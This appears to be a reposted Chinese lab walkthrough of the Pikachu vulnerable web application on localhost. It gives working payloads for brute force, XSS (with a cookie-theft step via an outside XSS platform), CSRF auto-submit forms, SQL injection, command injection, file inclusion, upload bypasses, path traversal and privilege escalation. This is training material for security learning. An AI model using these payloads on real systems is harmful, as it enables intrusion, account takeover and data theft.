目錄
一、暴力破解
基于表單的暴力破解
驗證碼繞過(on server)
驗證碼繞過(on server)
驗證碼繞過(on client)
Token防爆破?
二、XSS(跨站腳本攻擊)
xss常用測驗陳述句
反射型XSS(GET)
反射型XSS(POST)
存盤型XSS
DOM型XSS
DOM型XSS-X
XSS盲打
XSS之過濾
XSS之htmlspecialchars
XSS之href輸出
XSS之js輸出
三、CSRF(跨站請求偽造)
CSRF(GET)
CSRF(POST)
CSRF(Token)
四、SQL注入
數字型注入(POST)
字符型注入(GET)
搜索型注入
XX型注入
INSERT/UPDATE注入
delete注入
http header注入
布爾盲注
時間盲注
寬位元組注入
五、RCE
exec "ping"(遠程系統命令執行)
exec "evel"(遠程代碼執行)
六、檔案包含漏洞
File Inclusion(local本地檔案包含漏洞)
File Inclusion(remote遠程檔案包含漏洞)
不安全的檔案下載漏洞
檔案上傳漏洞
client check(JS前端驗證)
MIME Type(content-type校驗)
getimagesize
越權
水平越權
垂直越權
../../
目錄遍歷
敏感資訊泄露
lcanseeyourABC
PHP反序列化
php反序列化漏洞
XXE
XXE漏洞
URL重定向
不安全的URL跳轉
SSRF
一、暴力破解
基于表單的暴力破解

缺少驗證碼匹配,無登錄次數限制等等條件,可以對用戶名或密碼暴力破解
burp抓包

設定target

設定positions→clear→選擇需要爆破的位置→點擊add

設定payload,選擇密碼字典

用戶名:pikachu
密碼:000000

驗證碼繞過(on server)
驗證碼存在的意義是什么?
用來區分人和機器的操作,互聯網上各種注冊、登錄、投票等等應用場景,都有被機刷造成損失的風險,如果不對這種作弊行為加以防范,像惡意注冊登錄、刷票、撞庫、爬蟲等,將會產生極大危害
驗證碼如何驗證?
客戶端用戶輸入登錄資訊請求驗證碼→后臺根據演算法生成驗證碼同時將值全域賦值,存盤至session→將輸入的登錄資訊與驗證碼同時提交,后臺校驗驗證碼→登錄成功/登錄失敗

驗證碼繞過(on server)
生成后的驗證碼在后臺有效期過長,以明文的形式出現在HTTP回應包里面,可以長期使用驗證碼,導致可以暴力破解密碼

當驗證碼為空,填寫錯誤時都會報錯,正確填入驗證碼之后,burp更改或洗掉驗證碼都會出錯,說明服務器和客戶端都做了驗證碼校驗

重繪瀏覽器的驗證碼之后,再次回到這個重放頁面,將之前的驗證碼替換為新生成的,證明存在驗證碼有效期問題
生成后的驗證碼在后臺有效期過長,利用新生成的驗證碼爆破當前用戶密碼



驗證碼繞過(on client)
測驗后發現,密碼為慷訓輸入錯誤都會報錯,先輸入正確的驗證碼跳出js前端驗證,再由burp修改驗證碼,證明服務器端是否對驗證碼校驗

洗掉驗證碼

爆破

Token防爆破?
Token是什么?
由服務端生成的一串字串,用作客戶端進行請求的一個令牌,當第一次登錄后,服務器生成一個Token便將此Token回傳給客戶端,以后客戶端只需帶上這個Token請求資料即可,更通俗點可以叫暗號,在一些資料傳輸之前,要先進行暗號的核對,不同的暗號被授權不同的資料操作,相對于session來說,是存盤在記憶體中的,每個用戶通過認證之后都會將session資料保存在服務器的記憶體中,而當用戶量增大時,服務器的壓力增大,
驗證方法(使用基于 Token 的身份驗證方法,則在服務端不需要存盤用戶的登錄記錄)
1.客戶端輸入用戶名與密碼請求登錄
2.服務端收到請求,去驗證用戶名與密碼
3.服務端通過一些演算法,然后加一個密鑰,生成一個token,再把這個 token 發送給客戶端
4.客戶端收到 token 以后可以存盤起來
5.下次請求時,帶著token,服務器收到請求后,然后會用相同的演算法和密鑰去驗證token
token能否防暴力破解?

burp抓包發現除了賬號,驗證碼外,還存在token驗證
服務器的回應中有新的token,那其實可以拿每次失敗后回傳的新的token去做下一次測驗,那這樣是話是可以爆破的

選擇intruder模塊

clear所有選擇,add密碼和token作為攻擊物件

Attack type改為Cluster bomb

選擇Options模塊,找到Grep - Extract,如下圖所示,先勾選,然后點add,如果發現彈出的頁面是空白的話再點一下Refetch response的位置,就能看到http回應包,復制一下token值,點擊ok,關閉頁面

設定password的payload

設定token的payload,粘貼剛才在第四步驟內復制的token值

選擇執行緒為1

start attack

二、XSS(跨站腳本攻擊)
xss的分類
1:反射性xss
簡單的把用戶輸入的資料反射給瀏覽器,黑客往往需要誘導用戶點擊一個惡意鏈接,攻擊成功,也稱為非持久性xss
2:存盤型xss
會把用戶輸入的資料存盤在服務端,這種xss具有很強的穩定性,黑客寫下一篇包含惡意js代碼的文章,所有訪問的用戶都會在他們瀏覽器執行這段惡意的js代碼,黑客把這種惡意的腳本保存至服務端,即為存盤型xss
3:DOM型xss
通過修改頁面的DOM節點形成xss
xss常用測驗陳述句
<script>alert(/xss/)</script>
<img src=ganyu οnerrοr=alert(/xss/)>
<svg οnlοad=alert(/xss/)>
<a herf=javascript:alert(/xss/)>
反射型XSS(GET)

右擊查看原始碼,沒做任何過濾
構造payload:<script>alert(/xss/)</script>
有長度限制?

從修改長度限制試試,注意:先修改長度,再輸入構造的payload



反射型XSS(POST)

根據提示,登錄用戶為admin密碼為123456的用戶
1.xss彈窗
payload:<script>alert(/xss/)</script>

2.xss獲取cookie
https://xsshs.cn/xss.php?do=project&act=create
新建一個專案

勾選默認模塊、xss.js(不必須),點擊確定

復制payload:

粘貼剛才的payload至攻擊目標

點擊發送后竊取cookie

存盤型XSS

payload:<script>alert(/xss/)</script>

留言成功后每次訪問都會彈出/xss/

DOM型XSS
DOM型xss攻擊頁面實作功能是在輸入框輸入payload時,點擊click按鈕時,頁面會將what do you see替換為可點擊的輸出資訊

先測驗一下代碼,傳入的值將會在<a href='"+str+"'>內執行

右擊查看原始碼

只需要注釋閉合<a href='"+str+"'>即可
構造payload:#' οnclick="alert(/xss/)">,再單擊what do you see 
DOM型XSS-X

右擊查看原始碼

同理,閉合<a href='"+str+"'>
payload:#' οnclick="alert(/xss/)">
這個利用起來,由于是是通過url傳遞,這個時候復制url 把它發給攻擊目標就行了

XSS盲打

1.在留言欄和姓名框內輸入payload
<script>alert(/xss/)</script>
2.根據提示登陸后臺

提交后,登錄127.0.0.1/pikachu/vul/xss/xssblind/admin_login.php
賬戶是admin,密碼是123456
后臺執行了剛才提交的彈窗

XSS之過濾
大小寫繞過<ScriPT>alert(/xss/)</ScriPT>
雙寫繞過<scrscriptipt>alert(/xss/)</scrscriptipt>


XSS之htmlspecialchars
htmlspecialchars()函式把預定義的字符轉換為 HTML 物體

假設在這里構造了一個事件,當事件發生時,可執行 JavaScript,如當用戶點擊一個 HTML 元素時,就會從事件處理程式中呼叫函式
構造一個payload,這里用onlcik
payload:' οnclick=alert(/xss/) '


XSS之href輸出

a標簽里面的href,img里面的src屬性,有什么特殊的么?
src用于替代指定元素,而href用于建立指定標簽與外部資源之間的關系,
當在輸入框內容,value的內容會直接帶入href,觸發“閣下自己輸入的url還請自己點一下吧”這句話的時候,就會執行帶入的引數
payload:javascript:alert(/xss/)

XSS之js輸出

輸入動態的生成到了js中,形成xss javascript里面是不會對tag和字符物體進行解釋的,所以需要進行js轉義
構造閉合,把原本的<script>閉合掉,再插入我們自己的<script>
payload:</script><script>alert(/xss/)</script> 
或
tmac';alert(/xss/);//

三、CSRF(跨站請求偽造)
跨站請求偽造,也稱one click attack,是一種對網站的惡意利用,攻擊者利用目標用戶的身份,以目標用戶的名義執行某些非法操作,例以目標用戶的名義發送郵件,發送訊息,購買商品,轉賬等等
舉個例子,假如你想給某位用戶轉賬100元,那么單擊“轉賬”按鈕后,發送的請求類似http://www.xxx.com/xxx.php?username=xiaohong&money=100類似,攻擊者構造鏈接http://www.xxx.com/xxx.php?username=damin&money=100,當目標點擊了該url,就會自動向damin用戶轉賬100元
CSRF攻擊條件
用戶已經登錄A網站,并生成cookie資訊
B網站得有門攻擊A網站的腳本
B網站誘導用戶鏈接
CSRF(GET)

登錄lili,密碼為123456

修改一下個人資訊,提交再,先burp抓取資料包

通過GET請求來提交修改資訊
我們將url中sex值更改為boy,復制這段代碼拼接至127.0.0.1后
http://127.0.0.1/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=18656565545&add=japan&email=lili%40pikachu.com&submit=submit

用同一瀏覽器訪問這個鏈接
更改成功

CSRF(POST)
如果是POST型的,所有引數在請求體中提交
攻擊者可以搭建一個站點,在站點上做一個表單,誘導目標點擊這個鏈接,當用戶點擊時,就會自動向存在CSRF的服務器提交POST請求修改個人資訊,
撰寫一個1.html頁面,把此頁面放到的phpstudy的www頁面下,然后使用火狐訪問(這里提交的請求會將boy改回girl)
<html>
<head>
<script>
window.onload = function() {
document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<form method="post" action="http:/127.0.0.1/pikachu/vul/csrf/csrfget/csrf_get_edit.php">
<input id="sex" type="text" name="sex" value="girl" />
<input id="phonenum" type="text" name="phonenum" value="18656565545" />
<input id="add" type="text" name="add" value="japan" />
<input id="email" type="text" name="email" value="lili%40pikachu.com" />
<input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>
訪問

CSRF(Token)
未找到攻擊方式
**CSRF的預防與修復**
驗證請求的referer,什么是referer?referer是HTTP請求header的一部分,當瀏覽器(或者模擬瀏覽器行為)向web服務器發送請求的時候,頭資訊里有包含 referer里有一個www.baidu.com鏈接,那么從這個www.baidu.com網站進入的鏈接,它的header資訊里就有:
Referer=JSON在線 | JSON決議格式化—SO JSON在線工具
如果referer是在其他網站域名或空白處請求,有可能是csrf攻擊,服務器拒絕訪問,但是存在繞過
CSRF之所以可以攻擊成功是因為攻擊者偽造了用戶請求,如果在http請求的引數加入一個隨機產生的token,并且在服務端校驗token,若不匹配,則拒絕請求
四、SQL注入
數字型注入(POST)
bp抓包

payload:1 union select 1,database()#

字符型注入(GET)

payload:1' union select 1,database()#

搜索型注入
payload:%' union select 1,3,database()#

XX型注入
payload:1)' union select 1,3,database()#

INSERT/UPDATE注入
注冊賬戶

寫入一個基于報錯注入的payload
updatexml:
1' and(updatexml(1,concat(0x7e,(select(database())),0x7e),1)) or '
extractvalue:
1 and(extractvalue(1, concat(0x7e,(select database()),0x7e))) or '

單擊submit

delete注入

delete注入自然得先寫入一句留言,洗掉時,burp抓取


寫入payload:+or+(updatexml(1,concat(0x7e,database(),0x7e),1))

http header注入
ua注入 
登錄,賬戶admin,密碼123456

payload:1' or updatexml(1,concat(0x7e,database(),0x7e),1) or '

布爾盲注

構造檢測資料庫長度的payload:vince' and length(database())>6#

時間盲注

payload:vince' or if(substr(database(),1,1)='p',sleep(5),1)#

寬位元組注入
程式獲取GET引數ID,并對引數使用addslashes()函式,在預定義的字符前添加反斜杠轉義,然后拼接至SQL陳述句進行查詢,在一般情況下是無法注入的,但是由于資料庫查詢前執行了set names 'gbk',將編碼設定為寬位元組gbk,所以存在寬位元組注入
payload:vince%df' union select 1,database()#
burp抓取資料包

五、RCE
遠程系統命令執行 一般出現這種漏洞,是因為應用系統從設計上需要給用戶提供指定的遠程命令操作的介面 比如我們常見的路由器、防火墻、入侵檢測等設備的web管理界面上 一般會給用戶提供一個ping操作的web界面,用戶從web界面輸入目標IP,提交后,后臺會對該IP地址進行一次ping測驗,并回傳測驗結果, 而,如果,設計者在完成該功能時,沒有做嚴格的安全控制,則可能會導致攻擊者通過該介面提交“意想不到”的命令,從而讓后臺進行執行,從而控制整個后臺服務器
exec "ping"(遠程系統命令執行)
payload:127.0.0.1 -c 1 | whoami

exec "evel"(遠程代碼執行)


六、檔案包含漏洞
是指編譯器進行預處理時復制指定的檔案內容代替源檔案中預處理命令的程序,一個源檔案可以將另一個源檔案的全部內容包含進來,初衷是為了減少程式代碼的冗余,
檔案包含漏洞原理
可以試想一下,開發人員如果每一個代碼檔案中都要使用到同一段代碼,非常繁瑣,所以通常會將用到的代碼轉換成一個檔案,讓每一個用到它的代碼都包含在里面,而無需再次撰寫,這種呼叫檔案的程序一般被稱為包含檔案,但由于這種靈活性,從而導致客戶端可以呼叫任意惡意檔案,從而造成檔案包含漏洞,
檔案 PHP 中的檔案包含分為本地包含和遠程包含(allow_url_include = on)
File Inclusion(local本地檔案包含漏洞)
Include()函式屬于檔案包含函式,通過include()或require()陳述句,php檔案可以直接執行包含檔案的代碼,包含的檔案格式不受任何限制,首先需要在include檔案中創建出1.php檔案,用來實驗此次攻擊

構造payload訪問
http://127.0.0.1/pikachu/vul/fileinclude/fi_local.php?filename=1.php&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2

File Inclusion(remote遠程檔案包含漏洞)
當allow_url_fopen為on的時候,既開啟遠程檔案包含功能,allow_url_include 為on的時候,允許使用include,注:可以在php.ini檔案中設定開閉,一般關閉【路徑:/etc/php/7.0/apache2/php.ini】
在這里我們得先了解一下什么是php://,以及php提供的各種雜項輸入輸出流
php://(訪問各個輸入/輸出流),提供了IO流允許訪問 PHP 的輸入輸出流、標準輸入輸出和錯誤描述符,記憶體中、磁盤備份的臨時檔案流以及可以操作其他讀取寫入檔案資源的過濾器,如php://stdin、php://stdout 和 php://stderr 允許直接訪問 PHP 行程相應的輸入或者輸出流,如php://input、php://output,php://input是一個可以訪問請求的原始資料的只讀流

直接在phpstudy內配置網頁提示的兩個函式即可


先在www目錄下找一個檔案(隨意找了個上次打題時候的序列化檔案)

構造payload訪問
http://127.0.0.1/pikachu/vul/fileinclude/fi_remote.php?filename=http://127.0.0.1/n.php&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2

不安全的檔案下載漏洞
檔案下載功能在很多web系統上都會出現,當點擊下載鏈接,便會向后臺發送一個下載請求,一般這個請求會包含一個需要下載的檔案名稱,后臺在收到請求后會開始執行下載代碼
如果后臺在收到請求的檔案名后,將其直接拼進下載檔案的路徑中而不對其進行安全判斷的話,則可能會引發不安全的檔案下載漏洞 此時攻擊者提交的不是一個程式預期的的檔案名,而是一個精心構造的路徑(比如../../../etc/passwd),則很有可能會直接將該指定的檔案下載下來,從而導致后臺敏感資訊(密碼檔案、源代碼等)被下載

給服務器發送第一張圖片的下載請求,burp抓包

將kb.png改為ai.png
再放包,下載圖片


檔案上傳漏洞

client check(JS前端驗證)
當上傳1.php的時候,前端會進行校驗
1.寫入一句話
<?php phpinfo();?>
2.將1.php后綴改為1.jpg
3.上傳檔案,burp抓包

4.將1.jpg改為1.php

5.訪問1.php

MIME Type(content-type校驗)
MiMe是什么?一串簡單的字串組成的初期標識了郵件e-mail的附件的型別,后來在html檔案中可以使用屬性表示,當檔案上傳后,content-type會標記檔案型別,簡單來說當我們上傳一個1.php檔案的時候,content-type會自動將我們這個檔案型別標識為application/octet-stream,不匹配時上傳失敗,這里僅允許content-type為image/jpeg,image/png,image/gif屬性的通過
1.上傳檔案
2.burp抓包
將content-type標識的application/octet-stream修改為image/jpeg

3.訪問

getimagesize
上傳圖片碼
生成圖片碼命令:
copy 1.jpg /b + 1.php /a ganyu.jpg
上傳

訪問下剛才上傳的檔案

利用檔案包含漏洞訪問圖片,執行寫入圖片內的一句話phpinfo()
payload:http://127.0.0.1/pikachu/vul/fileinclude/fi_remote.php?filename=../unsafeupload/uploads/2021/10/14/5075166168140442637171612637.png&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2

注意:雖然這里利用了上上題的檔案包含,訪問的地址應該是/unsafeupload/uploads/2021/10/14/5075166168140442637171612637.png,但是需要回傳一次上級目錄,即payload為../unsafeupload/uploads/2021/10/14/5075166168140442637171612637.png
越權
水平越權

根據提示有兩個用戶,一個是lucy,一個是lili,用戶名密碼相同
首先登錄lucy的賬號

將url內username后的lucy更改為lili

垂直越權
根據提示,猜測應該是pikacu越權admin

登錄pikachu用戶,密碼為000000,權限只有查看
登錄admin用戶,密碼123456,擁有添加用戶查看用戶的權限

使用admin添加新用戶,burp抓包

再重放,保留這個重放頁面

重新回到瀏覽器上,重繪頁面,可以看見底部添加的用戶ganyu

登錄pikachu用戶,burp抓包(目的是為了獲取pikachu的cookie)

復制pikachu的cookie,并且回到剛才保留的重放頁面,將admin的cookie更改為復制的,更改添加用戶名的名字,這里為ganyu2

pikachu用戶登錄成功后,能看到兩個新增用戶,ganyu為admin添加,ganyu2為pikachu添加

../../
目錄遍歷
在web功能設計中,很多時候我們會要將需要訪問的文件定義成變數,從而讓前端的功能便的更加靈活,當用戶發起一個前端的請求時,便會將請求的這個檔案的值(比如檔案名稱)傳遞到后臺,后臺再執行其對應的檔案, 在這個程序中,如果后臺沒有對前端傳進來的值進行嚴格的安全考慮,則攻擊者可能會通過“../”這樣的手段讓后臺打開或者執行一些其他的檔案, 從而導致后臺服務器上其他目錄的檔案結果被遍歷出來,形成目錄遍歷漏洞,
點開一個目錄,進行目錄跳轉修改URL前,先確定跳轉目標

打開暴力破解的概述頁面,此時的頁面是在vul目錄下 
回到剛才頁面

將url更改為http://127.0.0.1/pikachu/vul/dir/dir_list.php?title=../../burteforce/burteforce.php,訪問

敏感資訊泄露
lcanseeyourABC
右擊查看原始碼獲得測驗賬號

PHP反序列化
php反序列化漏洞
payload:O:1:"S":1:{s:4:"test";s:29:"<script>alert(/xss/)</script>";}
或者可以自己寫一個序列化的腳本
<?php
class UserInfo
{
public $blog = "<script>alert(/xss/)</script>";
}
$ganyu = new UserInfo();
echo serialize($ganyu);
?>
訪問

XXE
XXE漏洞
payload:<?xml version = "1.0"?> <!DOCTYPE note [ <!ENTITY hacker "xxe"> ]> <name>&hacker;</name>

URL重定向
不安全的URL跳轉
第4個鏈接URL記憶體在引數可控

更改成一個地址就行了,按回車就會跳轉


SSRF
環境出問題了,沒做成
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/319642.html
標籤:其他
上一篇:Sqlmap使用及提權

